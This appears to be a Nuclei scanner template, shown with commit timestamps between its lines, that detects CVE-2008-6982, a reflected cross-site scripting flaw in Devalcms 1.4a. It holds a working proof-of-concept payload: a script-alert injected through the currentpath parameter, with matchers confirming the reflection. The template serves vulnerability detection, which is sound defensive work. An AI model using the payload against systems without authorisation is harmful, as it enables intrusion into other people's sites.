2022-09-21 21:42:27 +00:00
id : CVE-2008-6982
2022-08-22 07:17:05 +00:00
2022-07-20 08:56:54 +00:00
info :
2022-09-21 21:42:27 +00:00
name : Devalcms 1.4a - Cross-Site Scripting
2022-07-20 08:56:54 +00:00
author : arafatansari
2023-07-11 19:49:27 +00:00
severity : medium
2022-07-20 08:56:54 +00:00
description : |
2022-09-21 21:42:27 +00:00
Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to the latest version to mitigate this vulnerability.
2022-07-20 09:12:25 +00:00
reference :
- https://www.exploit-db.com/exploits/6369
2022-09-21 21:56:03 +00:00
- http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
2022-10-10 19:22:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2008-6982
2023-07-11 19:49:27 +00:00
- https://exchange.xforce.ibmcloud.com/vulnerabilities/44940
2022-09-21 21:42:27 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score : 4.3
2022-12-02 21:24:17 +00:00
cve-id : CVE-2008-6982
2022-12-02 21:40:16 +00:00
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.0038
2023-12-12 11:07:52 +00:00
epss-percentile : 0.69925
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:devalcms:devalcms:1.4a:*:*:*:*:*:*:*
2022-07-20 09:12:25 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : devalcms
product : devalcms
2022-11-29 05:53:51 +00:00
tags : cve,cve2008,devalcms,xss,cms,edb
2022-07-20 08:56:54 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-07-20 08:56:54 +00:00
- method : GET
path :
2022-07-20 09:12:25 +00:00
- '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2022-07-20 08:56:54 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-07-20 09:12:25 +00:00
- 'sub menu for : <script>alert(document.domain)</script>'
2022-07-20 08:56:54 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
2022-07-20 09:07:43 +00:00
- 500
2023-12-29 09:30:44 +00:00
# digest: 490a00463044022060c1d7a1d7f167f4a7725386e3770f50fc41cf720cfb3766a490be90bbfc632902207e45517728eabf9310ab9dc5a100c296a85431a2f94ce584aefb7d6c05833a1f:922c64590222798bb761d5b6d8e72950